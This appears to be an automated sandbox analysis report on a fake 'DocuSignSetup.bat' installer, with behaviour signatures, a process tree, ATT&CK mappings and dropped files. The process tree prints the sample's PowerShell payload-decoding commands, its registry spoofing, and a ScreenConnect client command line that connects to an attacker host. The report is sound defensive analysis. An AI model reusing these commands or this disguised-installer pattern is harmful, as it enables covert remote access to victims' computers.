Overview

overview

8

Static

static

1

DocuSignSetup.bat

windows10-2004-x64

8

DocuSignSetup.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 22:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    DocuSignSetup.bat
  • Size 11.6MB
  • Sample260808-2dv5psff57
  • SHA256 7a64f51ad67677b7d0aeab9c5b0e6844bcf6f3d0b0970fbf8d9f3052b6be152d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarerevoked_codesignspyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 12 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 43 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Start PowerShell.

    execution
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 50 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 46 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 63 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DocuSignSetup.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\system32\fltMC.exe
      fltmc
      2⤵
        PID:4740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1408
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$p=Start-Process -FilePath 'mshta.exe' -ArgumentList ('"'+$env:PROGRESS_HTA+'"') -PassThru; Set-Content -LiteralPath $env:PIDFILE -Value $p.Id"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3552
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.hta
          3⤵
            PID:2944
        • C:\Windows\system32\msiexec.exe
          msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.msi" /quiet /norestart
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4288
        • C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.exe
          "C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.exe" /quiet /norestart
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4296
          • C:\Windows\Temp\{6FD3AC6C-C3D3-49EE-8409-0F34C6C7AFA3}\.cr\setup.exe
            "C:\Windows\Temp\{6FD3AC6C-C3D3-49EE-8409-0F34C6C7AFA3}\.cr\setup.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\setup.exe" -burn.filehandle.attached=736 -burn.filehandle.self=732 /quiet /norestart
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3296
            • C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\.be\Docusign Print Driver x64.exe
              "C:\Windows\Temp\{02ED396F-7B08-45E3-A4BF-ED5A1561DFA5}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{9CAB9048-DAB9-4D24-857D-9304D16D9302} {5BEB329E-A6B2-4AEF-A821-B8F2FB2B9981} 3296
              4⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4560
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -NonInteractive -Command "$ErrorActionPreference='Stop'; $dir=Join-Path $env:ProgramData 'DocuSign'; $null=New-Item -ItemType Directory -Path $dir -Force; $icon=Join-Path $dir 'DocuSign.ico'; Copy-Item -LiteralPath $env:SHORTCUT_SOURCE -Destination $icon -Force; $desktop=Join-Path $env:PUBLIC 'Desktop'; $null=New-Item -ItemType Directory -Path $desktop -Force; $shortcut=Join-Path $desktop 'DocuSign.url'; [IO.File]::WriteAllLines($shortcut,[string[]]@('[InternetShortcut]','URL=https://www.docusign.com',('IconFile='+$icon),'IconIndex=0'),[Text.Encoding]::ASCII)"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$roots=@('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'); Get-ItemProperty -Path $roots -ErrorAction SilentlyContinue | Where-Object {$_.DisplayName -and $_.DisplayName -ne 'DocuSignSetup' -and ($_.DisplayName -match '(?i)(^DocusignSetup(?:\s.*)?$)')} | ForEach-Object {Set-ItemProperty -LiteralPath $_.PSPath -Name DisplayName -Value 'DocuSignSetup'; Set-ItemProperty -LiteralPath $_.PSPath -Name Publisher -Value 'DocuSign, Inc.'}"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          PID:632
        • C:\Windows\system32\taskkill.exe
          taskkill /PID 2944 /F
          2⤵
          • Kills process with taskkill
          PID:4812
        • C:\Windows\system32\mshta.exe
          mshta.exe "C:\Users\Admin\AppData\Local\Temp\DocuSign_500125759\done.hta"
          2⤵
            PID:3752
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Badlisted process makes network request
          • Enumerates connected drives
          • Boot or Logon Autostart Execution: Authentication Package
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Modifies Internet Explorer settings
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4200
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding DB151DA79EDA1F36C47DEBE925699082
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4664
            • C:\Windows\SysWOW64\rundll32.exe
              rundll32.exe "C:\Windows\Installer\MSI2248.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240657250 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
              3⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:3320
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 7E9DBCF569679230278D920526799E7F E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4188
          • C:\Windows\System32\MsiExec.exe
            C:\Windows\System32\MsiExec.exe -Embedding FC5784AF4C88E132338F587D46208856
            2⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2488
            • C:\Windows\system32\rundll32.exe
              rundll32.exe "C:\Windows\Installer\MSI6DEC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240676390 21 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
              3⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              PID:4128
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 8BFD08E47D95DEFE486BD0F48B30EB6C
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:4812
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 3602FD99D8F0D8202DF40124A075895D E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3892
          • C:\Windows\System32\MsiExec.exe
            C:\Windows\System32\MsiExec.exe -Embedding B756B77B9E63A06948C532ADB33A3419 E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Modifies data under HKEY_USERS
            PID:2012
          • C:\Windows\system32\NET.exe
            NET STOP SPOOLER
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2672
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 STOP SPOOLER
              3⤵
                PID:2748
            • C:\Windows\system32\NET.exe
              NET START SPOOLER
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4416
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 START SPOOLER
                3⤵
                  PID:1520
              • C:\Windows\system32\rundll32.exe
                rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
                2⤵
                  PID:1788
                • C:\Windows\system32\rundll32.exe
                  rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
                  2⤵
                  • Drops file in Windows directory
                  • Modifies data under HKEY_USERS
                  PID:3308
              • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe
                "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=87hermana26laafirmacion.vip&p=8041&s=820d3ac3-a815-46d1-8756-95bafb201512&k=BgIAAACkAABSU0ExAAgAAAEAAQDRy0DjuZAhmR7PgstiFKtlAv7E0zbL1z3gc4FH00l1lD%2bIWV8X%2fGSyvbEnRBEK468qW1W1gQegLl9L0n%2fuTGKhCEMBuolF49rRwRNqOJDRyHTuZnOhTIVIlAiEtxUuCZvA2QSiY8hsbwKxsjSY26pabU%2fKe6gcAcD1NyQ6TEEUjNm8RwnMCGSzixQ3F0S%2bKNdiMTe1KRAMkFfOwF2VwIbhk90qEi1oodjVyXcq%2ft5veQGcFbfWxRE83cXVedxQvJwXV1OTzIxe%2f3QbI15XzwxuQDmQvkQDFWbfaoLO76iEaj8scMxebs9Uis5Ofa3J7WcT4kBEUx4y4Wrd3SUiRku%2f"
                1⤵
                • Sets service image path in registry
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in System32 directory
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2292
                • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
                  "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe" "RunRole" "fcade8f7-165b-4539-b030-569cb5fde986" "User"
                  2⤵
                  • Executes dropped EXE
                  PID:3900
                • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
                  "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe" "RunRole" "e50e709e-009c-4280-9024-7420d12b6e51" "System"
                  2⤵
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • Checks processor information in registry
                  • Modifies data under HKEY_USERS
                  PID:5100
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Checks SCSI registry key(s)
                PID:1924
              • C:\Windows\system32\srtasks.exe
                C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                1⤵
                  PID:456
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
                  1⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3452
                  • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                    "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /quiet /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260808232843.log"
                    2⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1888
                    • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                      "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=516 -burn.filehandle.self=536 /quiet /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260808232843.log"
                      3⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:2708
                      • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                        "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{E0CC2A3E-467F-4694-9AFC-0C746779FCFA} {2BA95E58-4C70-41BD-8010-A2DDED854264} 2708
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        PID:1060
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                  1⤵
                  • Drops file in Windows directory
                  • Checks SCSI registry key(s)
                  • Suspicious use of WriteProcessMemory
                  PID:2220
                  • C:\Windows\system32\DrvInst.exe
                    DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "0000000000000138" "WinSta0\Default" "0000000000000154" "208" "C:\Program Files\Docusign\Print Driver\Driver"
                    2⤵
                    • Manipulates Digital Signatures
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • Checks SCSI registry key(s)
                    • Modifies data under HKEY_USERS
                    • Suspicious use of WriteProcessMemory
                    PID:4924
                    • C:\Windows\system32\rundll32.exe
                      rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{475f0598-832e-2145-91fa-e7e04ba614b0} Global\{e971a62f-d94a-224a-ae6e-a4659c54ae6f} C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{e434e38c-f38d-7647-801e-bc8ddfac301e}\DocuSignPrintDriver.cat
                      3⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      PID:876
                • C:\Windows\System32\spoolsv.exe
                  C:\Windows\System32\spoolsv.exe
                  1⤵
                  • Boot or Logon Autostart Execution: Port Monitors
                  • Drops file in System32 directory
                  • Checks SCSI registry key(s)
                  • Modifies data under HKEY_USERS
                  PID:5056

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      2
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Windows Command Shell

                      1
                      T1059.003

                      Persistence

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      Authentication Package

                      1
                      T1547.002

                      Port Monitors

                      1
                      T1547.010

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      1
                      T1543

                      Windows Service

                      1
                      T1543.003

                      Event Triggered Execution

                      1
                      T1546

                      Component Object Model Hijacking

                      1
                      T1546.015

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      Authentication Package

                      1
                      T1547.002

                      Port Monitors

                      1
                      T1547.010

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      1
                      T1543

                      Windows Service

                      1
                      T1543.003

                      Event Triggered Execution

                      1
                      T1546

                      Component Object Model Hijacking

                      1
                      T1546.015

                      Defense Evasion

                      Hide Artifacts

                      1
                      T1564

                      Ignore Process Interrupts

                      1
                      T1564.011

                      Modify Registry

                      3
                      T1112

                      Subvert Trust Controls

                      1
                      T1553

                      SIP and Trust Provider Hijacking

                      1
                      T1553.003

                      Credential Access

                      Discovery

                      Peripheral Device Discovery

                      2
                      T1120

                      Query Registry

                      5
                      T1012

                      System Information Discovery

                      5
                      T1082

                      System Location Discovery

                      1
                      T1614

                      System Language Discovery

                      1
                      T1614.001

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      e582151.rbs
                      • Path C:\Config.Msi\e582151.rbs
                      • Size 214KB
                      • SHA256 7c4d5ce05913193f9a6ff6343618a21c485101a1590c8942348f65e61db4a286
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      e582156.rbs
                      • Path C:\Config.Msi\e582156.rbs
                      • Size 710KB
                      • SHA256 23bedcbd11ef927ac47352bf52975caada0d949f5c4280950675e9305c6fce21
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.Override.en-US.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.Override.en-US.resources
                      • Size 368B
                      • SHA256 b3f0ca4ad4a60a92763f1fdb0dfc7a9371c499b702db48588d415d92b9c3625b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Client.Override.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.Override.resources
                      • Size 54KB
                      • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.en-US.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.en-US.resources
                      • Size 47KB
                      • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.resources
                      • Size 26KB
                      • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Client.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.Client.dll
                      • Size 192KB
                      • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.ClientService.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.dll
                      • Size 67KB
                      • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.ClientService.exe
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe
                      • Size 93KB
                      • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsAuthenticationPackage.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsAuthenticationPackage.dll
                      • Size 254KB
                      • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsClient.exe
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
                      • Size 595KB
                      • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsClient.exe.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe.config
                      • Size 266B
                      • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      ScreenConnect.WindowsCredentialProvider.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsCredentialProvider.dll
                      • Size 837KB
                      • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      app.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\app.config
                      • Size 2KB
                      • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      system.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\system.config
                      • Size 949B
                      • SHA256 4f22f0b0b398c8f28e3595bb6150b31b5232940cd8f562322af5705221b88aa7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      DocuSign.PrintDriverApplication.exe
                      • Path C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                      • Size 552KB
                      • SHA256 e1f04f8b64dfdfbcb8772cb9a16ce94b1112c665e99a85fcf37f683321f0fc3b
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      powershell.exe.log
                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 2KB
                      • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 073b301e40dcdb1a9f2d7299c2d1c1d83ca318698b4a88fa8bb9956c1c952a91
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 1d6d60dcfd25039d047a74208f7be6e2e04174a2e4be210dddb745e177a0a73e
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 f7308f111e3910da5c34c4d06d78d692f44419f848f5bf886fd466d5a96ad014
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
